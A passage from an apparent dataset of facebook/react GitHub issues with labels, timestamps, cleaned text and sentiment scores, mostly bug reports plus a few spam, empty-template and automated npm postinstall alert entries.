","Status: Unconfirmed,Component: Server Rendering,Resolution: Stale",2026-02-24 01:28:58+00:00,2026-06-01 20:29:00+00:00,2,"Status: Unconfirmed,Component: Server Rendering,Resolution: Stale",97.7917,in rsc gets duplicated in ssr html of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version since created a pr with a test case as a reproduction in initially reported on waku it doesn t reproduce on it reproduces from and latest canary the current behavior appears twice in ssr html the appears once in ssr html,bug,0.3818
facebook/react,3975913553,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2026-02-23 01:39:41+00:00,2026-02-23 02:59:15+00:00,0,Status: Unconfirmed,0.0553,of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example the current behavior the,bug,-0.7003
facebook/react,3972294161,Bug: ViewTransition onExit cleanup not called on unmount,"Noticed this while writing docs:

```js
<ViewTransition
  onEnter={(instance) => {
    const anim = instance.new.animate(/* ... */);
    return () => {
      anim.cancel();
    };
  }}
  onExit={(instance) => {
    const anim = instance.new.animate(/* ... */);
    return () => {
      anim.cancel();
    };
  }}
>
  {/* ... */}    
</ViewTransition>
```

If you have a pending`onEnter` animation and the tree is unmounted, the `onEnter` cleanup is called immediately.

But if you have a pending `onExit` and the tree is unmounted, the `onExit` cleanup isn't called until the animation completes.

This means you can't cancel the animation:

https://github.com/user-attachments/assets/f522f746-5ed3-432f-acbf-d610ab4260d2

Sandbox: https://codesandbox.io/p/sandbox/naughty-wu-pfkh2m


","Status: Unconfirmed,Resolution: Stale",2026-02-21 16:18:35+00:00,2026-06-08 20:55:48+00:00,5,"Status: Unconfirmed,Resolution: Stale",107.1925,viewtransition onexit cleanup not called on unmount noticed this while writing docs if you have a pending animation and the tree is unmounted the cleanup is called immediately but if you have a pending and the tree is unmounted the cleanup isn t called until the animation completes this means you can t cancel the animation sandbox,bug,-0.3612
facebook/react,3959830413,Bug: useDeferredValue gets stuck with a stale value,"Essentially, I see `useDeferredValue` being stuck and never catching up.

Not sure if it's possible to extract it out of a Next.js app. I think it's probably a React bug because it seems related to core APIs, but I couldn't simplify it past the ""render some JSX from server action"" repro case.

## Demo

Type ""hello world"".

In dev (`npm run dev`), the second text area catches up.

In prod (`npm run build + npm start`), the second text area often gets stuck and never catches up.

https://github.com/user-attachments/assets/a44f01ad-1a7d-4420-a6da-cadb277ded72

## Code

Here is a repro case: https://github.com/gaearon/react-udv-bug/

This is the main harness:

```js
export function TestPreviewClient() {
  const [promise, setPromise] = useState<Promise<ReactNode>>(initialPromise);
  const deferred = useDeferredValue(promise);

  function handleChange(value: string) {
    setPromise(renderAction(value));
  }

  return (
    <div style={{ padding: 16, fontFamily: ""monospace"" }}>
      <textarea
        placeholder=""type here""
        onChange={(e) => handleChange(e.target.value)}
        rows={3}
        style={{ width: ""100%"", fontFamily: ""monospace"" }}
      />
      <div
        data-testid=""deferred""
        style={{ border: ""1px solid #ccc"", padding: 8, minHeight: 40 }}
      >
        <Suspense fallback={<div>loading...</div>}>
          <Resolved promise={deferred} />
        </Suspense>
      </div>
    </div>
  );
}
```

Note these helpers:

```js
export function ClientWrap... [TRUNCATED]","Type: Bug,Component: Suspense",2026-02-18 21:15:25+00:00,2026-03-24 00:49:06+00:00,6,"Type: Bug,Component: Suspense",33.1484,usedeferredvalue gets stuck with a stale value essentially i see being stuck and never catching up not sure if it s possible to extract it out of a next js app i think it s probably a react bug because it seems related to core apis but i couldn t simplify it past the render some jsx from server action repro case demo type hello world in dev the second text area catches up in prod the second text area often gets stuck and never catches up code here is a repro case this is the main harness note these helpers js export function clientwrap truncated,bug,-0.3881
facebook/react,3958690392,Bug: Memory leak in attribute-behavior fixture - wrong variable cleared in componentWillUnmount,"###  Bug Description
In fixtures/attribute-behavior/src/App.js, the componentWillUnmount method has a bug where it checks for this.timeout but clears this.interval (which doesn't exist). This causes a memory leak where timeouts are never properly cleaned up on component unmount.

**Location:** fixtures/attribute-behavior/src/App.js:605

---

###  Code Analysis

**Current (Buggy) Code:**
componentWillUnmount() {
  if (this.timeout) {
    clearTimeout(this.interval); // ❌ Error: this.interval is undefined
  }
}

**Proposed Fix:**
componentWillUnmount() {
  if (this.timeout) {
    clearTimeout(this.timeout); // ✅ Correct: matches the variable being tracked
  }
}

---

###  Steps To Reproduce
1. Navigate to the fixtures/attribute-behavior directory.
2. Run the build and dev server:
   yarn build --type=UMD_DEV react/index,react-dom && cd fixtures/attribute-behavior && yarn install && yarn dev
3. Open the fixture in a browser.
4. Hover over a result cell to trigger onMouseEnter (which sets this.timeout).
5. Unmount the component before the timeout fires (e.g., navigate away or close the tab).
6. Observe: The timeout is never cleared, which can lead to memory leaks or setState warnings on unmounted components.

---

###  Current Behavior
When the component unmounts, the code checks for this.timeout but calls clearTimeout(this.interval). Since this.interval is undefined, the actual timer remains active, potentially causing ""cannot update state on an unmounted component"" warnings.

#... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2026-02-18 16:25:06+00:00,2026-05-30 19:32:30+00:00,2,"Status: Unconfirmed,Resolution: Stale",101.1301,memory leak in attribute behavior fixture wrong variable cleared in componentwillunmount bug description in fixtures attribute behavior src app js the componentwillunmount method has a bug where it checks for this timeout but clears this interval which doesn t exist this causes a memory leak where timeouts are never properly cleaned up on component unmount location fixtures attribute behavior src app js code analysis current buggy code componentwillunmount if this timeout cleartimeout this interval error this interval is undefined proposed fix componentwillunmount if this timeout cleartimeout this timeout correct matches the variable being tracked navigate to the fixtures attribute behavior directory run the build and dev server yarn build type umd dev react index react dom cd fixtures attribute behavior yarn install yarn dev open the fixture in a browser hover over a result cell to trigger onmouseenter which sets this timeout unmount the component before the timeout fires e g navigate away or close the tab observe the timeout is never cleared which can lead to memory leaks or setstate warnings on unmounted components current behavior when the component unmounts the code checks for this timeout but calls cleartimeout this interval since this interval is undefined the actual timer remains active potentially causing cannot update state on an unmounted component warnings truncated,bug,-0.8555
facebook/react,3944846869,Bug: Malformed `private` field in react-devtools-fusebox package.json,"**Bug: Malformed `private` field in react-devtools-fusebox package.json**

Current Behavior

The `package.json` file for `react-devtools-fusebox` uses a **string** for the `private` field instead of a **boolean**:

**Location** [`[packages/react-devtools-fusebox/package.json](https://github.com/facebook/react/blob/main/packages/react-devtools-fusebox/package.json)`](https://github.com/facebook/react/blob/main/packages/react-devtools-fusebox/package.json)

```json
{
  ""private"": ""true"",  //  Should be: ""private"": true
}
```

### Expected Behavior

According to the [[npm package.json specification](https://docs.npmjs.com/cli/v11/configuring-npm/package.json#private)](https://docs.npmjs.com/cli/v11/configuring-npm/package.json#private), the `private` field must be a **boolean**, not a string:

```json
{
  ""private"": true,  // Correct
}
```

### Impact

This causes failures in package scanning tools that validate package metadata:

-  **ScanCode.io** pipeline fails when scanning `pkg:github/facebook/react@v19.2.1`
- Type validation error: `'""true"" value must be either True or False.'`
- Non-compliant with npm specification

**Related upstream issues:**
- [[aboutcode-org/scancode.io#1986](https://github.com/aboutcode-org/scancode.io/issues/1986)](https://github.com/aboutcode-org/scancode.io/issues/1986) - Pipeline failure report
- [[aboutcode-org/scancode-toolkit#4631](https://github.com/aboutcode-org/scancode-toolkit/issues/4631)](https://github.com/aboutcode-org/scancode-toolkit... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2026-02-15 20:26:07+00:00,2026-05-30 19:32:32+00:00,6,"Status: Unconfirmed,Resolution: Stale",103.9628,malformed field in react devtools fusebox package json bug malformed field in react devtools fusebox package json current behavior the file for uses a string for the field instead of a boolean location according to the npm package json specification the field must be a boolean not a string impact this causes failures in package scanning tools that validate package metadata scancode io pipeline fails when scanning type validation error non compliant with npm specification related upstream issues aboutcode org scancode io pipeline failure report aboutcode org scancode toolkit truncated,bug,-0.9118
facebook/react,3936967186,Bug: 404 Error on 'JSX Example HTML File' Link,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1. Go to [React official documentation](https://ko.legacy.reactjs.org/docs/add-react-to-a-website.html)
 page.
2. Click on the ""JSX를 사용한 예시 HTML 파일"" (JSX example HTML file) link.
3. A 404 error page appears.

Link to code example:
- URL of the documentation page: https://ko.legacy.reactjs.org/docs/add-react-to-a-website.html

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior
Clicking on the ""JSX를 사용한 예시 HTML 파일"" link results in a 404 error page instead of the expected HTML example file.

The HTML file that should be displayed is not loading.


## The expected behavior
When clicking the link, the expected JSX example HTML file should be displayed properly.
",Status: Unconfirmed,2026-02-13 12:35:11+00:00,2026-02-21 23:05:18+00:00,2,Status: Unconfirmed,8.4376,error on jsx example html file link of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version go to react official documentation page click on the jsx html jsx example html file link a error page appears link to code example url of the documentation page your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example the current behavior clicking on the jsx html link results in a error page instead of the expected html example file the html file that should be displayed is not loading the when clicking the link the expected jsx example html file should be displayed properly,bug,-0.93
facebook/react,3933572174,[react-compiler-healthcheck] Add --verbose to list components that failed compilation,"### What kind of issue is this?

- [ ] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)
- [x] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

N/A — feature request.

### Repro steps

Healthcheck only prints ""Successfully compiled X out of Y components"" and does not show which components failed.

**Proposal:** Add a `--verbose` flag to print for each failed component:
- file path
- location (line/column when available)
- error reason

The data is already collected in `ActionableFailures` / `OtherFailures` in `reactCompiler.ts`; it only needs to be printed when the flag is set. That would make it possible to fix remaining violations and to trust the reported counts.

**Related:** #29078 (closed), #29677 (open — ""how do I find the remaining components?"").

### How often does this bug happen?

Every time

### What version of React are you using?

19.2.4

### What version of React Compiler are you using?

babel-plugin-react-compiler@1.0.0 (via Expo SDK 54); react-compiler-healthcheck@19.1.0-rc.3","Type: Bug,Status: Unconfirmed",2026-02-12 19:17:39+00:00,2026-02-22 17:57:43+00:00,3,"Type: Bug,Status: Unconfirmed",9.9445,react compiler healthcheck add verbose to list components that failed compilation what kind of issue is this react compiler core the js output is incorrect or your app works incorrectly after optimization babel plugin react compiler build issue installing or using the babel plugin eslint plugin react hooks build issue installing or using the eslint plugin x react compiler healthcheck build issue installing or using the healthcheck script link to repro n a feature request repro steps healthcheck only prints successfully compiled x out of y components and does not show which components failed proposal add a flag to print for each failed component file path location line column when available error reason the data is already collected in in it only needs to be printed when the flag is set that would make it possible to fix remaining violations and to trust the reported counts related closed open how do i find the remaining components how often does this bug happen every time what version of react are you using what version of react compiler are you using babel plugin react compiler via expo sdk react compiler healthcheck rc,bug,-0.8481
facebook/react,3930914904,Bug: <Activity /> does not behave as described in the official documentation.,"React version: 
v19.2.0

## Steps To Reproduce

1. Render `<Activity>Hello, World!</Activity>`
 ```jsx
   <Activity>
     Hello, World!
   </Activity>
```

2. Render `<Activity><ComponentThatJustReturnsText /></Activity>`
```jsx
const ComponentThatJustReturnsText = () => ""Hello, World!"";

<Activity>
  <ComponentThatJustReturnsText />
</Activity>
```

3. Regardless of whether the mode prop is provided or not, both plain text and components that return only text are rendered in the DOM.


Link to code example:
Reproducible with a minimal example using only React (no additional dependencies).

## The current behavior
Text-only children inside `<Activity />` are rendered correctly in the DOM.
- Passing a plain string (`""Hello, World!""`) directly works as expected.
- Passing a component that returns only a string also renders without issues.
- The `mode` prop still behaves correctly, and visibility changes are applied as expected.

## The expected behavior
### According to the official documentation:

> An Activity that just renders text will not render anything rather than rendering hidden text, 
because there’s no corresponding DOM element to apply visibility changes to. 
For example, <Activity mode=""hidden""><ComponentThatJustReturnsText /></Activity> will not produce any output in the DOM for const ComponentThatJustReturnsText = () => ""Hello, World!"";.

_Based on this description, text-only children should not produce any DOM output. However, in practice, they are rendered norm... [TRUNCATED]",Status: Unconfirmed,2026-02-12 10:01:08+00:00,2026-02-12 10:30:47+00:00,1,Status: Unconfirmed,0.0206,does not behave as described in the official documentation react version v render render regardless of whether the mode prop is provided or not both plain text and components that return only text are rendered in the dom link to code example reproducible with a minimal example using only react no additional dependencies the current behavior text only children inside are rendered correctly in the dom passing a plain string directly works as expected passing a component that returns only a string also renders without issues the prop still behaves correctly and visibility changes are applied as expected the according to the official documentation an activity that just renders text will not render anything rather than rendering hidden text because there s no corresponding dom element to apply visibility changes to for example will not produce any output in the dom for const componentthatjustreturnstext hello world based on this description text only children should not produce any dom output however in practice they are rendered norm truncated,bug,-0.5267
facebook/react,3930606279,[Compiler Bug]: react-compiler-runtime missing makeReadOnly/shouldInstrument/useContext_withSelector,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhAejQAgAIIHYCGARgDYICiAtgJYAuAYjAggF4I77FlV0CSeYWjCiV8DCDADmCWjhIQA7ghgBhCHloIAHrQCCcRGDAAdPADMoeOLWrrMUMAnoQIACgAOMCO7ABKTMCmmJhw6oIBZi4ANJhEBDAAvpgAvPaOahratK4AsgCeGZo6vgDcQZhMtLB4mJEQvJTuJB5ePgB0WjF1MXEwpaYJpiBRIKHm1JIoINSNErK0ee7swJgACiRQktR4APLuNmGYSWZelJgA5HFECCQAtE2b27dMBNa3oY3UZDBoACbUgnOZTwplcgRqmAwH3cXwIBzwOQgvwQyEwxhABBIJHRA0wYDhALM1AQYDWGy2u32tgEpWG4AAFop+JoYIQSGAUGZMY4EkA

### Repro steps

1. Open the Playground repro link:
https://playground.react.dev/#N4Igzg9grgTgxgUxALhAejQAgAIIHYCGARgDYICiAtgJYAuAYjAggF4I77FlV0CSeYWjCiV8DCDADmCWjhIQA7ghgBhCHloIAHrQCCcRGDAAdPADMoeOLWrrMUMAnoQIACgAOMCO7ABKTMCmmJhw6oIBZi4ANJhEBDAAvpgAvPaOahratK4AsgCeGZo6vgDcQZhMtLB4mJEQvJTuJB5ePgB0WjF1MXEwpaYJpiBRIKHm1JIoINSNErK0ee7swJgACiRQktR4APLuNmGYSWZelJgA5HFECCQAtE2b27dMBNa3oY3UZDBoACbUgnOZTwplcgRqmAwH3cXwIBzwOQgvwQyEwxhABBIJHRA0wYDhALM1AQYDWGy2u32tgEpWG4AAFop+JoYIQSGAUGZMY4EkA

2. In the compiled output, note that compiler-emitted code imports helpers from react-compiler-runtime (for example makeReadOnly / shouldInstrument / useCont... [TRUNCATED]","Type: Bug,Status: Unconfirmed",2026-02-12 08:51:53+00:00,2026-02-12 22:03:32+00:00,3,"Type: Bug,Status: Unconfirmed",0.5498,compiler bug react compiler runtime missing makereadonly shouldinstrument usecontext withselector what kind of issue is this x react compiler core the js output is incorrect or your app works incorrectly after optimization babel plugin react compiler build issue installing or using the babel plugin eslint plugin react hooks build issue installing or using the eslint plugin react compiler healthcheck build issue installing or using the healthcheck script link to repro repro steps open the playground repro link in the compiled output note that compiler emitted code imports helpers from react compiler runtime for example makereadonly shouldinstrument usecont truncated,bug,-0.128
facebook/react,3924918051,"Bug: react-reconciler v0.33+ in dev mode emits performance info which is not correctly cleaned up, leading to OOM errors","<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version: 19.2.4

## Steps To Reproduce

Full steps are in this thread: https://github.com/vadimdemedes/ink/issues/869

Short version is when using react-reconciler in dev mode, do something that causes frequent rerenders. 
Eventually it will OOM.

<img width=""3091"" height=""818"" alt=""Image"" src=""https://github.com/user-attachments/assets/57a33f6b-10eb-4030-856b-94ec6893049b"" />

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example: https://github.com/rmaclean/ink-memory-leak

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior

react-reconciler v0.33+ emits performance.measure() entries on every commit for profiling purposes.
these are not properly cleaned up, so will not be properly GC'd away
overtime, these will lead to an ... [TRUNCATED]",Status: Unconfirmed,2026-02-11 06:14:04+00:00,2026-02-19 05:37:52+00:00,2,Status: Unconfirmed,7.9749,react reconciler v in dev mode emits performance info which is not correctly cleaned up leading to oom errors of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version full steps are in this thread short version is when using react reconciler in dev mode do something that causes frequent rerenders eventually it will oom your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example the current behavior react reconciler v emits performance measure entries on every commit for profiling purposes these are not properly cleaned up so will not be properly gc d away overtime these will lead to an truncated,bug,-0.7184
facebook/react,3922260890,"Bug: ReactProfilerTimer transition timers are global, causing conflicts with concurrent transitions","## Description
The `ReactProfilerTimer.js` module currently uses a set of global variables (`transitionStartTime`, `transitionUpdateTime`, `transitionUpdateType`, etc.) to track performance metrics for transitions.

This implementation assumes only one transition is being tracked at a time. However, with concurrent rendering, multiple transitions can be in progress simultaneously in different lanes.

There is an explicit TODO in the code acknowledging this issue:

```javascript
// packages/react-reconciler/src/ReactProfilerTimer.js

// TODO: This should really be one per Transition lane.
export let transitionClampTime: number = -0;
export let transitionStartTime: number = -1.1; // First startTransition call before setState.
export let transitionUpdateTime: number = -1.1; // First transition setState scheduled.
```
## Impact
When multiple concurrent transitions occur, the following issues arise:

1. **Data Overwrites:** Concurrent transitions will overwrite each other's timing data in these global variables.
2. **Inaccurate Profiling:** `ReactFiberWorkLoop` will read incorrect start/update times, leading to inaccurate performance profiling data.
3. **Race Conditions:** It may cause race conditions where the wrong transition's data is logged or used for heuristics.

## Proposed Solution
Refactor `ReactProfilerTimer.js` to avoid global state for transition timings.

* **Structure:** Store transition timing data in a structure keyed by the transition lane, such as `Map<Lane, Tran... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2026-02-10 15:58:05+00:00,2026-05-18 17:01:38+00:00,2,"Status: Unconfirmed,Resolution: Stale",97.0441,reactprofilertimer transition timers are global causing conflicts with concurrent transitions description the module currently uses a set of global variables etc to track performance metrics for transitions this implementation assumes only one transition is being tracked at a time however with concurrent rendering multiple transitions can be in progress simultaneously in different lanes there is an explicit todo in the code acknowledging this issue impact when multiple concurrent transitions occur the following issues arise data overwrites concurrent transitions will overwrite each other s timing data in these global variables inaccurate profiling will read incorrect start update times leading to inaccurate performance profiling data race conditions it may cause race conditions where the wrong transition s data is logged or used for heuristics proposed solution refactor to avoid global state for transition timings structure store transition timing data in a structure keyed by the transition lane such as map lane tran truncated,bug,-0.4215
facebook/react,3915417119,Bug: [eslint-plugin-react] Compatibility issue with ESLint 10.x.x,"It appears that `eslint-plugin-react` is not compatible with `ESLint` version 10.x.x.
When attempting to use `eslint` 10.x.x with eslint-plugin-react, I encounter dependency resolution issues, specifically that the plugin does not support ESLint 10.

React version: `19.2.4`

## Steps To Reproduce

1. Install `eslint` 10.x.x along with `eslint-plugin-react@7.37.5`.
2. Install dependencies
3. Encounter peer dependency conflict or related errors.

## The current behavior
- Peer dependency conflicts or errors occur during installation or usage of ESLint 10 with this plugin.

## The expected behavior
- `eslint-plugin-react` should support ESLint 10.x.x without errors.",Status: Unconfirmed,2026-02-09 09:36:44+00:00,2026-02-17 22:08:22+00:00,7,Status: Unconfirmed,8.522,eslint plugin react compatibility issue with eslint x x it appears that is not compatible with version x x when attempting to use x x with eslint plugin react i encounter dependency resolution issues specifically that the plugin does not support eslint react version install x x along with install dependencies encounter peer dependency conflict or related errors the current behavior peer dependency conflicts or errors occur during installation or usage of eslint with this plugin the should support eslint x x without errors,bug,-0.9276
facebook/react,3913642800,Bug: Initialize transition start time in startTransition and startGestureTransition,"## Description
Currently, calls to `startTransition` and `startGestureTransition` in `packages/react/src/ReactStartTransition.js` initialize `currentTransition.startTime` to `-1`. There is a TODO comment indicating that this should read the timestamp.

The timestamp is currently lazily set in `ReactFiberWorkLoop.js` when an update is scheduled. This behavior differs from `useTransition`, which correctly sets the start time immediately.

This issue proposes to:

1. Initialize `startTime` using `performance.now()` (falling back to `Date.now()`) directly in `startTransition` and `startGestureTransition`.
2. Remove the lazy initialization logic in `ReactFiberWorkLoop.js`.

This ensures the timestamp accurately reflects when the transition was started, even if updates are processed later.

## Relevant Files
* `packages/react/src/ReactStartTransition.js`
* `packages/react-reconciler/src/ReactFiberWorkLoop.js`

## Steps to Reproduce (or verify)
1. Enable `enableTransitionTracing`.
2. Inspect `currentTransition.startTime` immediately after creating a transition via `startTransition`. Ideally, it should hold a valid timestamp instead of `-1`.","Status: Unconfirmed,Resolution: Stale",2026-02-08 21:46:53+00:00,2026-05-16 22:18:51+00:00,2,"Status: Unconfirmed,Resolution: Stale",97.0222,initialize transition start time in starttransition and startgesturetransition description currently calls to and in initialize to there is a todo comment indicating that this should read the timestamp the timestamp is currently lazily set in when an update is scheduled this behavior differs from which correctly sets the start time immediately this issue proposes to initialize using falling back to directly in and remove the lazy initialization logic in this ensures the timestamp accurately reflects when the transition was started even if updates are processed later relevant files or verify enable inspect immediately after creating a transition via ideally it should hold a valid timestamp instead of,bug,0.2263
facebook/react,3912455304,[DevTools Bug]: string listing,"### Website or app

Amazon package 📦 🤗 ☺️ pvt ltd. Com

### Repro steps

Tulsi das sahani 

### How often does this bug happen?

Every time

### DevTools package (automated)

_No response_

### DevTools version (automated)

_No response_

### Error message (automated)

_No response_

### Error call stack (automated)

```text
Hiiii
```

### Error component stack (automated)

```text
Hindi
```

### GitHub query string (automated)

```text
Bahadurganj
```","Type: Bug,Status: Unconfirmed,Component: Developer Tools",2026-02-08 10:06:20+00:00,2026-02-08 12:20:47+00:00,0,"Type: Bug,Status: Unconfirmed,Component: Developer Tools",0.0934,devtools bug string listing website or app amazon package pvt ltd com repro steps tulsi das sahani how often does this bug happen every time devtools package automated no response devtools version automated no response error message automated no response error call stack automated error component stack automated github query string automated,bug,-0.9578
facebook/react,3901555437,[invalid][potential Security Alert] New `postinstall` script added in `pkgnewfefame1@3.2.1`,"
A new `postinstall` script was detected in version `3.2.1` of the package `pkgnewfefame1`.

**Script content:**
```
node scripts/setup.js
```
see [npm documentation on package scripts](https://docs.npmjs.com/cli/v9/using-npm/scripts) for more details.
and [the detector](https://github.com/alphaleadership/npm-check). to understand why this script might be dangerous.
to get the alert only for dangerous scripts, please visit[the telegram](https://t.me/npmalert) if you want to improve the algorythm open a pull request 
This could be a security risk. Please investigate.
",invalid,2026-02-05 13:21:13+00:00,2026-02-05 13:43:33+00:00,0,invalid,0.0155,invalid potential security alert new script added in a new script was detected in version of the package script content see npm documentation on package scripts for more details and the detector to understand why this script might be dangerous to get the alert only for dangerous scripts please visit the telegram if you want to improve the algorythm open a pull request this could be a security risk please investigate,feature,0.7717
facebook/react,3901152864,Bug: Erro: Falha ao executar 'insertBefore' em 'Node': O nó antes do qual o novo nó deve ser inserido não é filho deste nó.,"já desinstalei e instalei o chrome e toda hora da esse erro.  não tem nenhuma extensão instalada, o tradutor esta desabilitado.  tentei no firefox, edge e toda hora da o mesmo erro. não consigo fazer nada no meu produto. 
Pode me ajudar?

Desculpe! Uma extensão do navegador pode ter causado um erro.

Sabe-se que ferramentas de tradução do navegador (como o Tradutor integrado do Chrome) ou algumas extensões de navegador de terceiros causam erros ao usar o Painel de Controle do Supabase.

Recomendamos fortemente desativar o Chrome Translate ou certas extensões do navegador ao usar o Painel de Controle da Supabase para evitar esse erro. Tente atualizar a página para ver se o problema persiste.

Erro: Falha ao executar 'insertBefore' em 'Node': O nó antes do qual o novo nó deve ser inserido não é filho deste nó.","Status: Unconfirmed,Resolution: Stale",2026-02-05 11:44:41+00:00,2026-05-13 17:44:00+00:00,3,"Status: Unconfirmed,Resolution: Stale",97.2495,erro falha ao executar insertbefore em node o n antes do qual o novo n deve ser inserido n o filho deste n j desinstalei e instalei o chrome e toda hora da esse erro n o tem nenhuma extens o instalada o tradutor esta desabilitado tentei no firefox edge e toda hora da o mesmo erro n o consigo fazer nada no meu produto pode me ajudar desculpe uma extens o do navegador pode ter causado um erro sabe se que ferramentas de tradu o do navegador como o tradutor integrado do chrome ou algumas extens es de navegador de terceiros causam erros ao usar o painel de controle do supabase recomendamos fortemente desativar o chrome translate ou certas extens es do navegador ao usar o painel de controle da supabase para evitar esse erro tente atualizar a p gina para ver se o problema persiste erro falha ao executar insertbefore em node o n antes do qual o novo n deve ser inserido n o filho deste n,bug,-0.5267
facebook/react,3891836733,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior",Status: Unconfirmed,2026-02-03 15:29:00+00:00,2026-02-03 16:01:06+00:00,0,Status: Unconfirmed,0.0223,of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example the current behavior the,bug,-0.7003
facebook/react,3890029275,[invalid][potential Security Alert] `postinstall` script changed in `carbon-mac-copy-cloner@1.2.1`,"
The `postinstall` script was changed in version `1.2.1` of the package `carbon-mac-copy-cloner`.

**Previous version:** 1.1.10
**Previous script:**
```
node scripts/postinstall.js
```

**New script:**
```
node scripts/setup.js
```

This could be a security risk. Please investigate.
see [npm documentation on package scripts](https://docs.npmjs.com/cli/v9/using-npm/scripts) for more details.
and [the detector](https://github.com/alphaleadership/npm-check). to understand why this script might be dangerous.
to get the alert only for dangerous scripts, please visit[the telegram](https://t.me/npmalert)
This could be a security risk. Please investigate.
",,2026-02-03 08:52:22+00:00,2026-02-03 09:53:12+00:00,1,nan,0.0422,invalid potential security alert script changed in the script was changed in version of the package previous version previous script new script this could be a security risk please investigate see npm documentation on package scripts for more details and the detector to understand why this script might be dangerous to get the alert only for dangerous scripts please visit the telegram this could be a security risk please investigate,others,0.7269
facebook/react,3885567495,[advertisement],[advertisement],,2026-02-02 12:03:55+00:00,2026-02-02 12:26:33+00:00,0,nan,0.0157,advertisement advertisement,others,0.0
facebook/react,3882893263,[invalid][potential Security Alert] New `postinstall` script added in `react-fast-utilsa@2.0.1`,"
A new `postinstall` script was detected in version `2.0.1` of the package `react-fast-utilsa`.

**Script content:**
```
node scripts/setup.js
```
see [npm documentation on package scripts](https://docs.npmjs.com/cli/v9/using-npm/scripts) for more details.
and [the detector](https://github.com/alphaleadership/npm-check). to understand why this script might be dangerous.
to get the alert only for dangerous scripts, please visit[the telegram](https://t.me/npmalert)
This could be a security risk. Please investigate.
",invalid,2026-02-01 20:36:28+00:00,2026-02-02 08:29:54+00:00,1,invalid,0.4954,invalid potential security alert new script added in a new script was detected in version of the package script content see npm documentation on package scripts for more details and the detector to understand why this script might be dangerous to get the alert only for dangerous scripts please visit the telegram this could be a security risk please investigate,feature,0.5423
facebook/react,3870388530,Bug: React logComponentRender breaks existing functionalities that utilise proxy (trpc client),"```
client[procedureType] is not a function
```
